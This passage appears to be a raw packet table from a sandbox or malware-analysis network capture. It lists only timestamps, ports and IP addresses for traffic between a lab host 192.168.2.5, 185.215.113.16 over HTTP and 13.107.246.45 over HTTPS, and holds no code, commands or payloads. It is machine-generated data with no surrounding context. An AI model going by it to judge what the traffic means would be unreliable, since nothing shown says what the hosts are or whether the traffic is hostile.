Nov 20, 2024 01:18:39.819252968 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819267988 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.819295883 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819303036 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819319010 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819324970 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819330931 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819336891 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819339991 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.819339991 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.819343090 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819350004 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819355965 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819369078 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819375038 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819380999 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819386005 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.819387913 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819386005 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.819431067 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.819462061 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819468021 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819478989 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819484949 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819487095 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.819492102 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819498062 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819509983 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819515944 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819523096 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819528103 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819529057 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.819534063 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819540024 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819545984 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819571018 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.819571018 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.819681883 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.819736004 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819741964 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819753885 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819886923 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819891930 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819904089 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819914103 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819920063 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819926023 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819927931 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.819938898 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819945097 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819951057 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819957972 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819960117 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.819960117 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.819971085 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819977045 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.819993973 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.820035934 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820043087 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820049047 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820059061 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820065975 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820077896 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820084095 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820092916 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820099115 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820099115 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.820099115 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.820110083 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820116997 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820125103 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.820130110 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820136070 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820184946 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.820184946 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.820199966 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820211887 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820218086 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820219994 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.820224047 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820230961 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820238113 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820251942 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820255995 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.820255995 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.820266008 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820281029 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820287943 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820287943 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.820307016 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820313931 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820321083 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820326090 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.820327044 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820334911 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820342064 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820348024 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820354939 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820360899 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820373058 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820375919 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.820375919 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.820379972 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820393085 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820400000 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820405960 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820408106 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.820408106 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.820434093 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.820502996 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820537090 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.820611954 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820617914 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820636988 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820642948 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820648909 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820652962 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.820662022 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820674896 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820677042 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.820679903 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820687056 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820693016 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.820693970 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.820713043 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.820748091 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.821027994 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.937731981 CET	443	49820	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.938479900 CET	49820	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.938503981 CET	443	49820	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.938962936 CET	49820	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.938977957 CET	443	49820	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.942771912 CET	443	49822	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.942795992 CET	443	49821	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.943581104 CET	49822	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.943588972 CET	443	49822	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.943898916 CET	49822	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.943903923 CET	443	49822	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.944438934 CET	49821	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.944469929 CET	443	49821	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.944849968 CET	49821	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.944855928 CET	443	49821	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.975465059 CET	443	49823	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.975928068 CET	49823	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.975939989 CET	443	49823	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.979711056 CET	49823	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.979716063 CET	443	49823	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.022680998 CET	443	49824	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.023437023 CET	49824	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.023458958 CET	443	49824	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.023857117 CET	49824	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.023861885 CET	443	49824	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.037137032 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.037208080 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.046552896 CET	443	49822	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.046943903 CET	443	49822	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.047101974 CET	49822	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.047288895 CET	49822	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.047288895 CET	49822	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.047311068 CET	443	49822	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.047323942 CET	443	49822	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.049866915 CET	49825	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.049904108 CET	443	49825	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.050379038 CET	443	49820	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.050415039 CET	49825	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.050690889 CET	49825	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.050712109 CET	443	49825	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.050988913 CET	443	49820	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.051089048 CET	443	49821	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.051218033 CET	49820	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.051218033 CET	49820	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.051218033 CET	49820	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.051259041 CET	443	49821	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.051347971 CET	49821	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.051347971 CET	49821	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.051393986 CET	49821	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.051400900 CET	443	49821	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.054636002 CET	49826	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.054639101 CET	49827	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.054655075 CET	443	49826	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.054671049 CET	443	49827	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.054738045 CET	49826	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.054764986 CET	49827	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.054951906 CET	49826	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.054965019 CET	443	49826	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.054981947 CET	49827	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.054999113 CET	443	49827	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.078963041 CET	443	49823	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.079185963 CET	443	49823	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.079258919 CET	49823	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.079333067 CET	49823	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.079333067 CET	49823	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.079339027 CET	443	49823	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.079355001 CET	443	49823	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.083614111 CET	49828	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.083656073 CET	443	49828	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.083868027 CET	49828	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.084055901 CET	49828	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.084073067 CET	443	49828	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.124537945 CET	443	49824	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.125804901 CET	443	49824	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.125916958 CET	49824	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.125916958 CET	49824	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.125937939 CET	49824	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.125945091 CET	443	49824	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.129687071 CET	49829	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.129729986 CET	443	49829	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.129950047 CET	49829	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.130084991 CET	49829	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.130101919 CET	443	49829	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.364500999 CET	49820	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.364516020 CET	443	49820	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.469157934 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.469253063 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.586499929 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.587346077 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.591496944 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.591514111 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.591536045 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.591548920 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.591598988 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.591635942 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.592371941 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.592412949 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.592427969 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.592442036 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.592459917 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.592474937 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.592478991 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.592498064 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.592508078 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.592525959 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.592526913 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.592561960 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.592577934 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.592597008 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.592602015 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.592613935 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.592624903 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.592633009 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.592652082 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.592674017 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.592679024 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.592713118 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.592726946 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.592735052 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.592746019 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.592755079 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.592760086 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.592768908 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.592784882 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.592802048 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.592822075 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.592842102 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.592850924 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.592850924 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.592869043 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.592885017 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.592896938 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.592927933 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.592928886 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.592945099 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.592961073 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.592981100 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.592986107 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.593000889 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593018055 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593043089 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593043089 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.593043089 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.593070030 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593086958 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593103886 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593105078 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.593117952 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593135118 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593153000 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.593154907 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593174934 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593194962 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593199968 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.593199968 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.593218088 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593235016 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593270063 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.593272924 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593290091 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593308926 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593310118 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.593328953 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593348980 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593369007 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.593369007 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.593374968 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593389988 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593405008 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593422890 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593437910 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.593439102 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593457937 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593472958 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.593476057 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593496084 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593516111 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593528986 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.593528986 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.593539000 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593554020 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593566895 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593585968 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593600988 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.593601942 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593616009 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593638897 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593648911 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.593674898 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593689919 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593692064 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.593717098 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593723059 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.593735933 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593753099 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593769073 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.593796015 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593812943 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593830109 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593831062 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.593844891 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593861103 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593878031 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593894005 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.593894005 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593909025 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593925953 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593943119 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.593964100 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.593964100 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.593985081 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594005108 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594017982 CET	49807	80	192.168.2.5	185.215.113.16
